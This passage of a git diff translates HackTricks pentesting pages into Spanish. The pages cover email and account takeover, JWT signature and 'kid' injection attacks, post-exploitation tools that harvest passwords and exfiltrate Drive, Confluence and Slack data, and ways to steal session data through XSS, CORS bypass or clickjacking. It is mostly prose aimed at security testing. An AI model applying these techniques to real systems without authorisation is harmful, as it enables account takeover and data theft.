[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Funcionalidad de registro -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +Intenta registrarte como un usuario ya existente. También intenta usar caracteres equivalentes (puntos, muchos espacios y Unicode). -### Takeover emails +### Toma de correos electrónicos -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, si el nuevo correo de confirmación se envía al primer correo registrado, puedes tomar cualquier correo. O si puedes habilitar el segundo correo confirmando el primero, también puedes tomar cualquier cuenta. -### Access Internal servicedesk of companies using atlassian +### Acceso al servicio interno de atención al cliente de empresas usando Atlassian {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### Método TRACE -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..c92758af2 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,9 +1,9 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**Investiga más sobre ataques a DNS** -**DNSSEC and DNSSEC3** +**DNSSEC y DNSSEC3** -**DNS in IPv6** +**DNS en IPv6** {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index dc1099907..bdc2f5eef 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -25,13 +25,13 @@ Puedes usar la [**Extensión Burp SignSaboteur**](https://github.com/d0ge/sign-s ### Manipular datos sin modificar nada -Puedes simplemente manipular los datos dejando la firma tal como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo. +Puedes simplemente manipular los datos dejando la firma como está y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo. #### **¿Se verifica el token?** Para comprobar si se está verificando la firma de un JWT: -- Un mensaje de error sugiere que se está realizando una verificación; los detalles sensibles en errores verbosos deben ser revisados. +- Un mensaje de error sugiere que se está realizando una verificación; los detalles sensibles en errores detallados deben ser revisados. - Un cambio en la página devuelta también indica verificación. - La ausencia de cambios sugiere que no hay verificación; este es el momento de experimentar con la manipulación de las afirmaciones del payload. @@ -54,7 +54,7 @@ Verifica si el token dura más de 24h... tal vez nunca expire. Si hay un campo " Establece el algoritmo utilizado como "Ninguno" y elimina la parte de la firma. -Usa la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno"). +Usa la extensión Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno"). ### Cambiar el algoritmo RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555) @@ -72,7 +72,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem Un atacante incrusta una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114). -Esto se puede hacer con la extensión de Burp "JSON Web Tokens".\ +Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\ (Envía la solicitud al Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud). ### Suplantación de JWKS @@ -117,7 +117,7 @@ Si el contenido de la declaración `kid` se utiliza para obtener una contraseña Esta alteración obliga a usar una clave secreta conocida, `ATTACKER`, para la firma de JWT. -#### Inyección OS a través de "kid" +#### Inyección de OS a través de "kid" Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es: @@ -177,7 +177,7 @@ openssl x509 -in attacker.crt -text ``` ### Clave Pública Embebida (CVE-2018-0114) -Si el JWT tiene embebida una clave pública como en el siguiente escenario: +Si el JWT tiene una clave pública embebida como en el siguiente escenario: ![](<../images/image (624).png>) @@ -220,7 +220,7 @@ Aquí hay un ejemplo: [ECDSA: Revelando la clave privada, si se usa el mismo non El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Puede ser utilizado para prevenir que el token sea reproducido.\ Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa). -### JWT Registered claims +### Reclamos registrados de JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} @@ -232,9 +232,9 @@ Se ha observado que algunas aplicaciones web dependen de un servicio JWT confiab - Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área legal gris. -**Verificación de Expiración de Tokens** +**Verificación de expiración de tokens** -La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool. +La expiración del token se verifica utilizando el reclamo "exp" en el Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchas instancias, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados es crucial. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), puede ser leído utilizando la bandera -R de jwt_tool. - Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar. diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..a0ce66ba2 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -2,15 +2,15 @@ ## **Local l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Estos scripts, además de buscar vectores PE, buscarán información sensible dentro del sistema de archivos. +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): El **proyecto LaZagne** es una aplicación de código abierto utilizada para **recuperar muchas contraseñas** almacenadas en una computadora local. Cada software almacena sus contraseñas utilizando diferentes técnicas (texto plano, APIs, algoritmos personalizados, bases de datos, etc.). Esta herramienta ha sido desarrollada con el propósito de encontrar estas contraseñas para el software más comúnmente utilizado. -## **External Services** +## **Servicios Externos** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará a la API de Confluence utilizando un token de acceso, exportará a PDF y descargará los documentos de Confluence a los que el objetivo tiene acceso. +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Herramienta de Red Team para exfiltrar archivos de Google Drive de un objetivo al que tú (el atacante) tienes acceso, a través de la API de Google Drive. Esto incluye todos los archivos compartidos, todos los archivos de unidades compartidas y todos los archivos de unidades de dominio a los que el objetivo tiene acceso. +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Herramienta de Red Team para exfiltrar el Directorio de Personas de Google de la organización objetivo a la que tienes acceso, a través de la API de Personas de Google. +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Esta es una herramienta desarrollada en Python que utiliza las APIs nativas de Slack para extraer información 'interesante' de un espacio de trabajo de Slack dado un token de acceso. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound es una herramienta de línea de comandos para equipos rojos y azules que permite realizar rápidamente reconocimiento de un espacio de trabajo/organización de Slack. Slackhound hace que la recopilación de usuarios, archivos, mensajes, etc. de una organización sea rápidamente buscable y los objetos grandes se escriben en CSV para revisión offline. {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..494ab0fe4 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# Robo de Información Sensible a través de una Web {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\ +Aquí te presento las principales formas en que puedes intentar lograrlo: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORS bypass**](pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa. +- [**XSS**](pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares. +- [**Clickjaking**](pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}}